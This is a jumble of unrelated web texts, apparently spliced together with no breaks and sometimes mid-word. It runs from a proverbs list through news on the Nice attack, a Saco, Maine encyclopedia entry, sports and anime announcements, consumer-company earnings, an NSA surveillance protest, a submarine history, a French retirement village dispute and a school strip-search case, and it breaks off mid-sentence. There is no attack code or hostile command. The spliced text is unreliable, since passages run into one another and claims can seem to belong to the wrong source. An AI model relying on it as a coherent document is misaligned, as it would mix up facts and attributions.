P's and Q's. or British: Mind your manners [10] Makhene, E. R. W. (2008). Mind Your Ps and Qs, Lulu.com. Mile [ edit ] The longest mile is the last mile home. It's no use crying over spilt milk. (Strauss, 1994 p. 631) The best place for criticism is in front of your mirror. ": [Richter Belmont arrives in Dracula's chamber] Richter Belmont: Die, monster! You don't belong in this world! Dracula: It was not by my hand that I'm once again given flesh. I was called here by humans who wish to pay me tribute. Richter Belmont: "Tribute"?! You steal men's souls, and make them your slaves! Dracula: Perhaps the same could be said of all religions. Richter Belmont: Your words are as empty as your soul! Mankind ill needs a savior such as you! Dracula: What is a man? [flings his wine glass aside] A miserable little pile of secrets! But enough talk! Have at you! From the video game Castlevania: Symphony of the Night (1997) written by Koji Igarashi and Toshiharu Furukawa Martin H. Manser (2007), The Facts on File Dictionary of Proverbs, Infobase Publishing, p. 22, ISBN 978-0-8160-6673-5 Misfortunes never come singly. One misfortune is often followed by another. - A mishap may weaken/frighten a person/group/relationship, making him/it more liable to fell victim to subsequent minor dangers too. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 704 Source for Meaning: (Paczolay, 1997 p. 60) Miss [ edit ] A miss by an inch is a miss by a mile. Cf. Scottish Proverbs Collected and Arranged by Andrew Henderson, 1832, p.103: "An inch o' a miss is as gude as a span." [11] Missing the wood for the trees. While tending to every detail you might miss out the big picture. (Singh, 2006 p. 169) Don't make the same mistake twice. "You should learn from your mistakes rather than repeating them." Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 62. ISBN 978-0-8160-6673-5. For the love of money is a root of all kinds of evil. "Did you get your money by fraud? By pandering to men’s vices or men’s stupidity? By catering to fools, in the hope of getting more than your ability deserves? By lowering your standards? By doing work you despise for purchasers you scorn? If so, then your money will not give you a moment’s or a penny’s worth of joy. Then all the things you buy will become, not a tribute to you, but a reproach; not an achievement, but a reminder of shame. Then you’ll scream that money is evil." Ayn Rand, Francisco d’Anconia in Atlas Shrugged (1957) Money makes the mare go. Money talks. Money talks, bullshit walks. (Speake, 2009 p. 388) It is easier to accomplish goals using money instead of just talk. Put your money where your mouth is. Invest in what you claim will happen, and put in your own effort or money in matters you praise, warn about, or complain about. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 714 Time is money. Leonard, F. (1995). Time is money: a million dollar investment plan for today's twenty- and thirty-somethings, Perseus Books Group. More [ edit ] More haste, less speed.(Strauss, 1994 p. 1095) Hurry, but work slowly to make sure what you attend to gets done properly. The more the merrier. (Strauss, 1994 p. 1094) The more things change, the more they stay the same. (Washington, 2007 p. 132) When things seem to be new, it is in fact history repeating itself. Don't make a mountain out of a molehill. "Jesus said unto him, Thou shalt love the Lord thy God with all thy heart, and with all thy soul, and with all thy mind. This is the first and great commandment. And the second is like unto it, Thou shalt love thy neighbour as thyself." The Bible Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 708 Burn not your house to rid it of the mouse. (Strauss, 1994 p. 568) "Take the first advice of a woman and not the second." Gilbertus Cognatus Noxeranus, Sylloge. See J. J. Grynæus, Adagio, p. 130. Langius, Polyanthea Col (1900) same sentiment. (Prends le premier conseil d'une femme et non le second. French for same). Reported in Hoyt's New Cyclopedia Of Practical Quotations (1922), p. 10-11. Keep your mouth shut and your eyes open. "A recipe for success in many walks of life is to speak only when necessary and to remain alert, observant, and watchful at all times." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 159. ISBN 978-0-8160-6673-5. Much [ edit ] Much is expected where much is given. (Strauss, 1994 p. 1095) "More is expected of those who have received more - that is, those who had good fortune, are naturally gifted, or have been shown special favour." Source for meaning and proverb: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 75. ISBN 978-0-8160-6673-5. Muck [ edit ] Where there's muck there's brass. "There is of money to be made whenever there is muck or dirt of some kind." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 299. ISBN 978-0-8160-6673-5. Nail [ edit ] For want of a nail the shoe is lost, for want of a shoe the horse is lost, for want of a horse the rider is lost. A seemingly trivial event can cause a chain reaction which escaltes into something very big. Proverb reported by George Herbert, Jacula Prudentum (1651), #495 The nail that sticks up will be hammered down. (Whatling, 2009)From the Japanese, "deru kugi wa utareru." A person that sticks out will often be poorly treated. Nature never did betray the heart that loved her. Nature is beyond all teaching. (Strauss, 1994 p. 764) Nature is much more important than nurture when it comes to learning. Never [ edit ] Never lie to your doctor. Huler, Scott (1999). From Worst to First: Behind the Scenes of Continental's Remarkable Comeback. John Wiley & Sons. p. 200. 0471356522. Never lie to your lawyer. Huler, Scott (1999). From Worst to First: Behind the Scenes of Continental's Remarkable Comeback. John Wiley & Sons. p. 200. 0471356522. Never put off till (until) tomorrow what you can do today. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 264 Never say die. Don't give up if there still is a chance that you can succeed. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 203 Never say never. (Speake, 2009) It's never too late to mend. You are never too old to change your ways. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p.602 Nice [ edit ] If you don't have anything nice to say, don't say anything at all. Morem, Susan (2005). One hundred one tips for graduates. Infobase Publishing. p. 69. 0816056765. No [ edit ] No man can serve two masters. Christian New Testament No man is an island. We are all interdependent and influenced by each other. Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. p. 419 e No man is indispensable. (Strauss, 1998 p. 319) "I think that no forms of social interaction—including religion, love, crime, and fertility choice—are immune from the power of economic reasoning." Robert Barro Nothing Is Sacred (2002) No news is good news. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 734 e No pain, no gain. Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. 2006 Lose nothing for want of asking. (Mawr, 1885 p. 116) Asking is no sin, and being refused is no tragedy. Nothing for nothing. (Strauss, 1994 p. 1111) Nothing ventured, nothing gained.(Manser, 2007 p. 207) " George : What is it you want, Mary? What do you want? You want the moon? Just say the word and I'll throw a lasso around it and pull it down. Hey. That's a pretty good idea. I'll give you the moon, Mary. Mary : I'll take it. Then what? George : Well, then you could swallow it, and it'd all dissolve, see? And the moonbeams'd shoot out of your fingers and your toes, and the ends of your hair... Am I talking too much? Old Man : Yes! Why don't you kiss her instead of talking her to death George : How's that? Old Man : Why don't you kiss her instead of talking her to death? George : Want me to kiss her, huh. Old Man : Ah, youth is wasted on the wrong people!" Frank Capra, It's A Wonderful Life (1946) Variant: Nothing venture, nothing have. ( Divers Proverbs, Nathan Bailey, 1721 [12]) You don't get nothing for nothing. "Everything has to be paid for, directly or indirectly, in money or in kind." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 314. ISBN 978-0-8160-6673-5. There is luck in odd numbers. Little strokes fell great oaks. A difficult task, e. g. removing a person/group from a strong position, or changing established ideas cannot be done quickly. It can be achieved gradually, by small steps, a little at a time. (Paczolay, 1997 p. 252) Old habits die hard. (Speake, 2009) Old is Gold, but never sold. Mysore (India : State). Legislature. Legislative Assembly (1959). Debates; Official Report. s.n.. p. 1401. One [ edit ] Take care of number one. Put your own interests before those of everybody else. (Manser, 2007 p. 257) Only [ edit ] The only free cheese is in the mouse trap. Russian saying. Gage, R. (2010). Why You're Dumb, Sick & Broke...And How to Get Smart, Healthy & Rich!, John Wiley & Sons. The only stupid question is the one that is not asked. Hull, E., K. Jackson, et al. (2005). Requirements engineering, Springer. In the middle of difficulty lies opportunity. (O'hara, 2011) Opportunity knocks only once. (Mieder, p. 752) [ specific citation needed ] Out [ edit ] Out of sight... Out of mind. "Those who leave us are soon forgotten. - Seeing somebody reinforces the memory while a long abscence and the appearance of new impressions may result in a gradual fading of it." Cf. Fulke Greville's sonnet "And out of minds as soons as out of sight" Out of small acorns grow mighty oaks. (Speake, 2009) One has to start somewhere! Over [ edit ] It ain't over till it's over. "Do not anticipate the end of something; specifically, do not give up hope until you have actually lost or failed." Source for meaning: Manser, Martin H. (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 152. ISBN 978-0-8160-6673-5. Yogi Berra Often attributed to sportscaster Dan Cook (1978) The world is your oyster. "You are in a poStory highlights More than 80 people are killed in an attack in Nice Fareed Zakaria: Attack is a 'gruesome and barbaric act' Fareed Zakaria is host of CNN's "Fareed Zakaria GPS," which airs Sundays at 10 a.m. and 1 p.m. ET on CNN. This op-ed is adapted from his show. The views expressed are his own. (CNN) The mowing down of dozens of men, women and children in Nice on Thursday was a gruesome and barbaric act. And it again prompts the question: How can we detect such a terrorist in the future? French authorities say the attacker appears not to have had a record of affiliation or even interest in Islamist groups like ISIS. He was not, at least from what we currently know, religious, had no known record of attending a mosque or religious institution of any kind, and was not thought to be a practicing Muslim by those who knew him. (He did, however, reportedly have a long history of psychological troubles.) But why does France have this pool of radicalized people? Fareed Zakaria It is, of course, complicated. As I wrote earlier this year, the new kind of terrorist we are facing seems to be drawn into terrorism not through religion, "but rather who has chosen the path of terror as the ultimate act of rebellion against the modern world." In other words, they are getting radicalized before they get Islamized. It is also essential to remember that we are dealing with relative handfuls of people; the vast majority of Muslims living in France, Belgium and elsewhere are not extremists. But there is something quite particular going on in France.
Saco also has two growing business parks and another one under development.[12] Amos Chase house on Ferry Road; built ca. 1743 York Manufacturing Co. in 1916 Civil War memorial in Eastman Park Saco City Hall Masonic Hall Geography [ edit ] The Saco River at Saco Saco is located at (43.510425, -70.444920).[13] According to the United States Census Bureau, the city has a total area of 52.76 square miles (136.65 km2), of which, 38.46 square miles (99.61 km2) of it is land and 14.30 square miles (37.04 km2) is water.[1] Situated beside Saco Bay on the Gulf of Maine, Saco is drained by the Saco River. Saco borders the city of Biddeford, as well as the towns of Scarborough, Buxton, Dayton and Old Orchard Beach. Terrain [ edit ] Saco contains a wide variety of landforms, including beaches, fields, forests, bogs, and urban areas. Demographics [ edit ] Historical population Census Pop. %± 1790 1,350 — 1800 1,842 36.4% 1810 2,492 35.3% 1820 2,532 1.6% 1830 3,219 27.1% 1840 4,408 36.9% 1850 5,798 31.5% 1860 6,223 7.3% 1870 5,755 −7.5% 1880 6,389 11.0% 1890 6,075 −4.9% 1900 6,122 0.8% 1910 6,583 7.5% 1920 6,817 3.6% 1930 7,233 6.1% 1940 8,631 19.3% 1950 10,324 19.6% 1960 10,515 1.9% 1970 11,678 11.1% 1980 12,921 10.6% 1990 15,181 17.5% 2000 16,822 10.8% 2010 18,482 9.9% Est. 2016 19,213 [3] 4.0% sources:[14] 2010 census [ edit ] As of the census[2] of 2010, there were 18,482 people, 7,623 households, and 4,925 families residing in the city. The population density was 480.6 inhabitants per square mile (185.6/km2). There were 8,508 housing units at an average density of 221.2 per square mile (85.4/km2). The racial makeup of the city was 95.7% White, 0.7% African American, 0.2% Native American, 1.7% Asian, 0.3% from other races, and 1.4% from two or more races. Hispanic or Latino of any race were 1.3% of the population. There were 7,623 households of which 28.5% had children under the age of 18 living with them, 49.2% were married couples living together, 10.7% had a female householder with no husband present, 4.7% had a male householder with no wife present, and 35.4% were non-families. 27.0% of all households were made up of individuals and 10% had someone living alone who was 65 years of age or older. The average household size was 2.38 and the average family size was 2.88. The median age in the city was 41.9 years. 21.9% of residents were under the age of 18; 7.6% were between the ages of 18 and 24; 25.6% were from 25 to 44; 30.5% were from 45 to 64; and 14.3% were 65 years of age or older. The gender makeup of the city was 48.3% male and 51.7% female. 2000 census [ edit ] As of the census[15] of 2000, there were 16,822 people, 6,801 households, and 4,590 families residing in the city. The population density was 437.2 people per square mile (168.8/km²). There were 7,424 housing units at an average density of 193.0 per square mile (74.5/km²). The racial makeup of the city was 97.91% White, 0.32% African American, 0.15% Native American, 0.51% Asian, 0.09% Pacific Islander, 0.10% from other races, and 0.93% from two or more races. Hispanic or Latino of any race were 0.58% of the population. There were 6,801 households out of which 33.1% had children under the age of 18 living with them, 53.3% were married couples living together, 10.6% had a female householder with no husband present, and 32.5% were non-families. 25.2% of all households were made up of individuals and 10.1% had someone living alone who was 65 years of age or older. The average household size was 2.44 and the average family size was 2.93. In the city, the population was spread out with 25.0% under the age of 18, 6.8% from 18 to 24, 32.1% from 25 to 44, 22.2% from 45 to 64, and 13.9% who were 65 years of age or older. The median age was 37 years. For every 100 females, there were 91.0 males. For every 100 females age 18 and over, there were 87.7 males. The median income for a household in the city was $45,105, and the median income for a family was $52,724. Males had a median income of $35,446 versus $25,585 for females. The per capita income for the city was $20,444. About 7.1% of families and 8.2% of the population were below the poverty line, including 9.4% of those under age 18 and 10.8% of those age 65 or over. Voter registration Voter Registration and Party Enrollment as of November 2014[16] Party Total Voters Percentage Democratic 5,261 37.75% Unenrolled 4,951 35.52% Republican 3,088 22.16% Green Independent 635 4.55% Total 13,935 100% Education [ edit ] List of schools [ edit ] Fairfield School (K-2) Young School (K-2) C.K. Burns School (3-5) Saco Middle School (6-8) [17] Thornton Academy (9-12) Thornton Middle School (6-8) - Arundel, ME student overflow from partner RSU, RSU 21 Saco Transition Program (6-12) The School At Sweetser (1-12) Saco Island School (9-12) Previous schools [ edit ] Notre Dame de Lourdes School (K-8) - Closed in 2009 due to budget constraints and lack of students.[18] Higher education [ edit ] University College has a campus located in Saco. Transportation [ edit ] Saco Transportation Center The Saco Transportation Center provides transportation between Portland and Boston via the Downeaster passenger train. Saco is accessible from Interstate 95, U.S. Route 1 and Interstate 195. State routes 5, 9, 112, and 117 also serve the city. Taxis serve the Tri-City Area (Saco, Biddeford, and Old Orchard Beach). The Portland International Jetport is about 14 miles (23 km) north of Saco. The ShuttleBus[19] and Zoom Bus[20] provide local transportation. Sites of interest [ edit ] Notable people [ edit ] The Saco and Biddeford mills today References [ edit ]We have decided to remove the team and player Elo Rating pages. We had high hopes for the raters when we launched them but over the years they have too often become a test tube for online campaigns to elevate Dallas Cowboys or push down Los Angeles Lakers to a degree that we don't have any faith that they represent actual general user opinions on the relative quality of players or teams. These pages will be removed as we launch our redesigned sites this summer beginning with hockey in a week or two. This entry was posted on Friday, June 3rd, 2016 at 10:53 am and is filed under Announcement, Baseball-Reference.com, Basketball-Reference.com, CBB at Sports Reference, CFB at Sports Reference, Hockey-Reference.com, Olympics at S-R, Pro-Football-Reference.com. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.In our first hour, a lively talk from Chris Hedges speaking to students at Hotstra University, encouraging them to seize the moment, realize the gravity of the situation, 'f*** their studies' and go and visit occupy. After a report by Russia Today into sympathy for the Occupy demonstrators inside the rank and file of US police, we conclude the first hour with 'We Are The Many' by Mankana. In our second hour, we hear a set of speeches from Occupy Oakland, including Derrick Jensen who notes that Police forces in Syria and Egypt have risked death by refusing to follow orders, or even joining the protestors. What is stopping the US Police forces? The speeches include a rousing call to large scale civil disobedience: "We are going to have to bring this down, all of it. The oil, the coal, the clearcuts, the dams, all of it, the entire industrial economy." Login Required)By Ryan Burton BoxingScene.com has been advised by sources in the United States and in Nicaragua that a fight between WBC flyweight champion Roman "Chocolatito" Gonzalez (44-0) and former unified champion Giovani "El Guerrero Azteca" Segura (32-4-1) is being discussed for March 5th. The fight, if finalized, would be broadcast by HBO and would take place in the Los Angeles area. The StubHub Center and The Forum were both mentioned as possible venues. Gonzalez went 3-0 last year and made his HBO debut. After the retirement of Floyd Mayweather, the Nicaraguan has been anointed the pound-for-pound king by many publications. Segura has been out of the ring since losing to Juan Francisco "El Gallo" Estrada in September, 2014. He is best known for his pair of knockout victories over Ivan Calderon. The Mexican fighter had been scheduled to face interim WBA super flyweight champion Luis Concepción in December but pulled out of the fight amid rumors that he was close to securing the Gonzalez fight. Our sources caution that the fight isn't a done deal but that they are confident of reaching an agreement. Send questions or comments to [email protected]. You can follow Ryan on Twitter @ringsidewriterFunimation Entertainment announced the English dub cast for its upcoming release of the Shakugan no Shana Second television anime series, the Shakugan no Shana S original video anime project, and the film on Friday.The main dub cast is as follows:Shana - Cherami LeighYuju - Josh GrelleKazumi - Brina PalenciaMargery - Colleen ClinkenbeardKonoe - Lindsay SeidelAlastor - Kent WilliamsMarcosias - Justin CookWilhelmina - Carli MosierThe additional dub cast is as follows:Annaberg - Patrick SeitzBel-Peol - Caitlin GlassBifrons - Cole BrownChigusa - Lydia MackayDantalion - Barry YandellDomino - Barry YandellFecor - Cris GeorgeFriagne - J. Michael TatumFujita - Alexis TiptonHamaguchi - Blake ShepherdHeads Rinne - Linda LeonardHecate - Lindsay SeidelHhirai - Alison ViktorinIke - Joel McDonaldJohann - John BurgmeierJunko - Hilary CouchKantaro - Chuck HuberKasha - Christopher BevinsKhamsin - Todd HaberkornLamies - Jerry RussellMare - Jamie MarchiMarianne - Tia BallardNakamura - Tia BallardOgata - Brittney KarbowskiPheles - Monica RialQuetzalcoatl - Charlie CampbellRinne - Tia BallardSabrac - Brad JacksonSato - Greg AyresSorath - Micah SolusodSugano - Madeleine Broseh\|Sydonay - Jason DouglasTanaka - Ian SinclairTiamat - Aleisha ForceTiriel - Apphia YuUkobach - Greg AyresValac - Anastasia MunozYuri - Sean Michael TeagueZarovee - R Bruce ElliottAdditionally, Ian Sinclair is acting as ADR Director for the film and Christopher Bevins is acting as ADR Director for the second season and OVA project.Funimation is also streaming an English-dubbed clip from the second season. Funimation will release the first season of Shakugan no Shana with the original Geneon English dub cast next week on Blu-ray and DVD. The company will then release the second season on December 11. The release of the second season was delayed from September 25 so that Funimation could add more extras to the discs.Funimation will premiere the Shakugan no Shana film at Anime Revolution in Vancouver this weekend.What is it with these consumer-products companies that need to sell a lot of cheap stuff to a lot of consumers around the world? Over the last few days, one after the other reported what are more or less unvarnished quarterly revenue and earnings debacles. At McDonald’s, global revenues fell 5% and net income plunged 30%. At Coca-Cola, international volume was up a measly 1%, but in the US, volume declined 1%. Revenues were down fractionally for the quarter and 2% year-to-date. Net income in the quarter dropped 14%. Revenues at third largest beer-giant Heineken, which brews its stuff in 70 countries, dropped 1.7%. People are scratching their heads: are consumers actually cutting back on beer? Other companies too have reported disappointing results. On Thursday it was Unilever, the Anglo-Dutch giant maker of shampoos, deodorants, laundry detergents, ice cream… that warned in its quarterly report about what it looks like “out there,” not in the stock market, but in the real economy around the world. “It is really tough out there,” said CFO Jean-Marc Huët. “We have been at pains to say that for a long period of time.” Consumers are in trouble and are cutting back across key markets, leaving the company with price pressures and crummy sales. Revenues fell 2%. “Underlying sales,” which are adjusted for a variety of things, rose 2.1%, but it was the worst growth since Q4 of crisis-year 2009, and down from 3.8% in the prior quarter. Unilever warned of a slowdown in all the right places, in the emerging markets, in Europe, and of stagnation in the US. Like other consumer-products companies, it complained about currency issues, political unrest, bleak economies, the wrong kind of weather, and other uncertainties that perplex consumers to no end and cause them to get stingy. “We expect markets to remain tough…,” CEO Paul Polman said. In the emerging markets overall, where nearly 60% of its revenues come from, underlying sales managed to increase 5.6%, down from 6.6% in the prior quarter, with Turkey, Indonesia, and the Philippines being particular bright spots. But Brazil is sliding into recession, Russia is slowing down as well, and China, oh my! As China is entering its worst slowdown in many years, consumers are reacting by closing their wallets. Retailers and wholesalers are reacting to the newly prudent consumers by “de-stocking,” the company reported. The result was a “sharp slowdown.” Underlying sales plunged 20%! Then there’s the problem in the developed markets: sales dropped 2.5%, while they were still growing fractionally in the prior quarter. In North America, sales inched up a barely visible 0.6%. And Europe – which had been fixed not long ago, based on the hype being propagated ceaselessly – has become unfixed again. Unilever bravely blamed “poor summer weather” across Europe for the lousy performance of its ice cream category. Whatever the reasons, sales dropped 4.3%. “Europe is not around the corner by any means,” Huët admitted. And after complaining about price pressures and outright “price deflation” in Europe – though overall prices went up, just not fast enough to doll up Unilever’s revenues – it then ironically reported the following about its entanglements in, well yes, price fixing allegations: Unilever is involved in a number of ongoing investigations by national competition authorities. These proceedings and investigations are at various stages and concern a variety of product markets. Where appropriate, provisions are made and contingent liabilities disclosed in relation to such matters. So how is Unilever grappling with these economic and weather-related issues? It’s introducing cheaper products, on the basis of shrinkflation. For example, it developed smaller ice cream cones that sell for €1 ($1.27) in Spain so that even newly impoverished, jobless, or underpaid Spaniards can buy one every now and then. CFO Huet explained it this way: We’ve learned from the previous economic crises the importance of having such value brands in the portfolio that can capture some of the down-trading that inevitably happens when disposable income levels fall. And that sums up the economic problems facing Unilever, Coca-Cola, McDonald’s, Heineken, and all the others: it’s an economic crisis for consumers who’re struggling with falling disposable incomes. And then there’s the corporate response to all this: the requisite “savings program,” as Huët called it, “to apply all the levers to translate top line growth … into earnings per share.” Because that’s the only thing that matters. So Unilever would cut expenses here and there, axe 1,400 people, and whittle down its exposure to pension costs, all of which will do wonders for the disposable incomes of those folks…. And that’s the vicious cycle of corporate cost cutting in response to strung-out consumers who’re cutting back because they’ve been hit with the consequences of corporate cost cutting. In the US more than in most other countries, it all boils down to consumers because the economy is so dependent on them. Read… The High Price of Free Money: Now US Bankers Fear Financial, Social, or Political ‘Instability’ Enjoy reading WOLF STREET and want to support it? Using ad blockers – I totally get why – but want to support the site? You can donate “beer money.” I appreciate it immensely. Click on the beer mug to find out how: Would you like to be notified via email when WOLF STREET publishes a new article? Sign up here.Have you been mocking Grandma for holding fast to a clunky, barely functional copy of Internet Explorer 7? Get ready to eat your words. A nurse and patient-pairing website has decided that, rather than put up with customers trying to run IE 7, it's just going to buy them a whole new computer, goddammit—fancy new browser included. The site, NursingJobs, connects nurses to the people who need them, many of whom are older and thus pretty deeply engrained in their often outdated habits, be it casual racism or a legacy browser of yore. And after crunching the numbers, NursingJobs realized that it didn't even make financial sense to keep trying to support its users still stuck in 2006. The cheaper alternative? A brand new computer for Grandpa: IE7 users make up 1.22% of our traffic right now, and this will decline as more computers are upgraded and can use modern browsers. However, we know that some of our clients are still stuck with IE7 so we decided to make a bold offer, one that initially seemed crazy to us but now makes a lot of sense. We are offering to buy a new computer with a modern browser for any of our customers who are stuck with IE7. We determined that it would cost us more to support a browser from 2006 in 2014 and beyond than it would to help our clients upgrade their legacy hardware. Advertisement How could this possibly be lucrative? Well, dedicating the manpower and time it takes to keep IE 7 users running is only going to get more expense. So even if NursingJobs is just passing out Chromebooks, customers are almost undoubtedly still getting a better machine than whatever crap they were using before, and NursingJobs presumably doesn't have to pony up too much cash. Plus, at 1.22% of its userbase, it's a small sacrifice to make for assuaging a major potential headache. There is one potential downside, though. If NursingJobs gets rid of the additional anxiety that is IE 7, its customers may stop even needing a nurse in the first place. [NursingJobs via Uproxx] Image: Shutterstock/AndresrTens of thousands of people and organisations were participating in a protest against the NSA’s mass surveillance on Tuesday, bombarding members of Congress with phone calls and emails and holding demonstrations across the globe. Dubbed “The day we fight back”, the action saw scores of websites, including Reddit, BoingBoing and Mozilla host a widget inviting users to pressure elected officials. The online demonstration saw more than 18,000 calls placed and 50,000 emails sent to US congressmen and women by midday Tuesday. Physical protests were planned in 15 countries. “The goal of the day we fight back is to stop mass surveillance by intelligence agencies like the National Security Agency,” said Rainey Reitman, activism director at the non-profit Electronic Frontier Foundation, which helped organise the events. “This is a unique political moment in the fight for surveillance reform. The leaks of 2013 shed light on surveillance abuses really unlike anything we had seen before that. “Really it kickstarted an international debate about privacy rights which led to major shifts in public opinion polls as well as international pushes for surveillance reform.” Facebook Twitter Pinterest The EFF website Photograph: /EFF.org NSA contractor Edward Snowden leaked documents detailing the scale of government surveillance to the Guardian in 2013. A series of stories published in 2013 showed how the US government was collecting metadata from Americans’ telephone and email communications. Participating websites carried a highly visible banner on Tuesday bearing the motif “Today we fight back.” The banner encouraged readers to enter their phone numbers and email addresses to contact members of Congress and urge them to back the Support USA Freedom Act, which would end the bulk collection of Americans’ records, and oppose the Fisa Improvements Act, which seeks to legalise and extend the NSA’s surveillance programs. Reitman told the Guardian that over 100,000 people had signed an international petition opposing mass surveillance within a few hours of its launch. Electronic Frontier Foundation, which fights for online free speech and privacy, organised the day of protest with civil liberty campaigners Demand Progress and a coalition of prominent organisations and websites including Reddit, Greenpeace, ACLU, Tumblr and Amnesty International. Anonymous showed support for the action, with a lengthy statement protesting “this police state nightmare”, as did, perhaps less obviously, Google, which emailed members of its “Take Action” web freedom group encouraging them to take part. Google, Yahoo and Facebook revealed the extent of the data they had been forced to hand over to US government authorities earlier this month. The disclosures showed that between them the internet giants had disclosed details pertaining to tens of thousands of accounts. Google, Yahoo, Facebook, Microsoft and others are behind the Reform Government Surveillance push which calls for governments around the world to have their ability to monitor users’ information limited.For other ships with the same name, see USS Scranton USS Scranton (SSN-756), a Los Angeles-class submarine, is the second ship of the United States Navy to be named for Scranton, Pennsylvania. The contract to build her was awarded to Newport News Shipbuilding and Drydock Company in Newport News, Virginia, on 26 November 1984, and construction began on 29 August 1986. She was launched on 3 July 1989 sponsored by Mrs. Sarah McDade, and commissioned on 26 January 1991, with Commander J.G. Meyer in command. Scranton was the first submarine at Newport News to be built via "modular construction". No keel was laid. In this method, the ship was almost fully built out in individual hull sections. Most of the internal structure, machinery, and piping were loaded in via open ends of the hull sections as each hull section was built out. The individual hull sections were later assembled with exact precision such that piping running between the sections was joined as the hull sections were welded together. The ship was later rolled into a floating drydock and "floated" In January 2006, Scranton successfully demonstrated homing and docking of an AN/BLQ-11 Long-Term Mine Reconnaissance System (LMRS) unmanned undersea vehicle (UUV) system during at-sea testing under the leadership of Commanding Officer Michael J Quinn.[1] Operation Odyssey Dawn [ edit ] On 19 March 2011, the submarine launched Tomahawk cruise missiles at Libyan air defenses as part of Operation Odyssey Dawn.[1] References [ edit ] This article includes information collected from the public domain sources Dictionary of American Naval Fighting Ships and Naval Vessel Register.When French mayor Yves Bastié gave the green light to plans for a new village for over-50s in the southern-central commune of Sallèles-d'Aude, in southern France last March he had no objections. But it appears a key element of the project, described as an "active lifestyle village" may have been kept firmly in the closet. On Tuesday the mayor was shocked to discover that the village, named Le Village - Canal du Midi, due to its location near the famous canal (photo) was in fact intended only for gay people. “I’m dumbfounded because I didn’t know anything about it,” said the mayor in French daily Le Parisien. “I asked my colleagues to confirm the information and if this turns out to be the case then the least I would have expected is for them to have informed me,” the mayor added. In a previous interview the mayor expressed his delight that Le Village was coming to his area. "I fought for this project to get the go-ahead and we fought to bring Anglo Saxon investors to the area. This project, worth between €20 million and €30 million, is not here by chance," he said. According to the regional newspaper l'Independent there was no mention in the preliminary discussions that the village would only be for gay people. In fact the newspaper says a photograph included on the plans showed a heterosexual couple walking through the grounds. The paper points out that an almost identical image is featured on the brochure, but this time they couple are gay. 'Strong gay market' The company behind the camp, the British-owned Villages Group, which builds retirement villages in France, advertises the holiday camp on its website as “a private oasis for the over-50’s Gay and Lesbian (LGBT) community who want an ‘active and healthy lifestyle’ in the warm, friendly and healthy climate of southern France.” Responding to the claims, Danny Silver, the managing partner of the company told The Local: "We’re not changing what the village is at all it’s just that we are orienting it towards the gay community. We can’t stop gay people or indeed any other kind of person. The license is for a village: that is what we’re doing." Silver said that the company only made the decision to target the gay market yesterday. “The market was dead as no one wants to invest in the Eurozone at the moment so I decided to give the gay market a go. I said that if by the end of August we get a reaction we’ll do it. If we don’t we’ll close it down. And with all the publicity we've got I’ve found the gay market does work.” He added that the proposed village would also be a good economic opportunity for the area: “If you look at it logically this will bring a lot of money to the area. There’s a lot of unemployment there." Silver, who has lived in France for 15 years is reluctant to call the project a "retirement village", preferring instead to market it as an "active lifestyle village". Around 20 percent of people will go there to retire, the rest will go on holiday, he says. Located close to the famous Canal du Midi, an UNESCO world heritage site, the village also boasts “full ‘Concierge Services’” and around 107 detached houses, priced at between €236,000 and €248 000. Residents must also pay an extra €70 per week towards the management of the village where they will also have access to a swimming pool, sauna, gym, bars and restaurants. Construction is set to begin in February next year.This month the U.S. Court of Appeals for the 9th Circuit is scheduled to rehear a case involving an Arizona eighth-grader who was strip-searched by school administrators enforcing a "zero tolerance" drug policy. The ACLU, which today filed a brief on the student's behalf, describes the search: Savana Redding, an eighth grade honor roll student at Safford Middle School in Tucson, Arizona, was pulled from class on October 8, 2003 by the school's vice principal, Kerry Wilson. Earlier that day, Wilson had discovered [drugs] in the possession of Redding's classmate....Under questioning and faced with punishment, the classmate claimed that Redding, who had no history of disciplinary problems or substance abuse, had given her the [drugs]. After escorting Redding to his office, Wilson presented Redding with the [drugs] and informed her of her classmate's accusations. Redding said she had never seen the [drugs] before and agreed to a search of her possessions, wanting to prove she had nothing to hide. Joined by a female school administrative assistant, Wilson searched Redding's backpack and found nothing. Instructed by Wilson, the administrative assistant then took Redding to the school nurse's office in order to perform a strip search. In the school nurse's office, Redding was ordered to strip to her underwear. She was then commanded to pull her bra out and to the side, exposing her breasts, and to pull her underwear out at the crotch, exposing her pelvic area. The strip search failed to uncover any [drugs]. "I was embarrassed and scared, but felt I would be in more trouble if I did not do what they asked," said Redding in a sworn affidavit following the incident. "The strip search was the most humiliating experience I have ever had." The punch line: The drugs in question were ibuoprofen pills—prescription-strength, 400-milligram pills (equivalent to a couple over-the-counter Advil caplets), but nothing anyone would or could use to get high. Then again, it's much easier to overdose on ibuprofen than on marijuana, so maybe the administrators have their priorities right. A three-judge 9th Circuit panel did not go quite that far, but last year it did say Redding's Fourth Amendment rights were not violated by the search. The judges ruled that the vice principal had "reasonable grounds" to believe the search would discover evidence that Redding had violated the school's ban on possession of prescription drugs. They also concluded that the search was not excessively intrusive. On March 24 the full court will hear arguments urging it to reconsider.Even if the Russian government was behind the hack of the Democratic National Committee (DNC) and various other political organizations and figures, the US government's 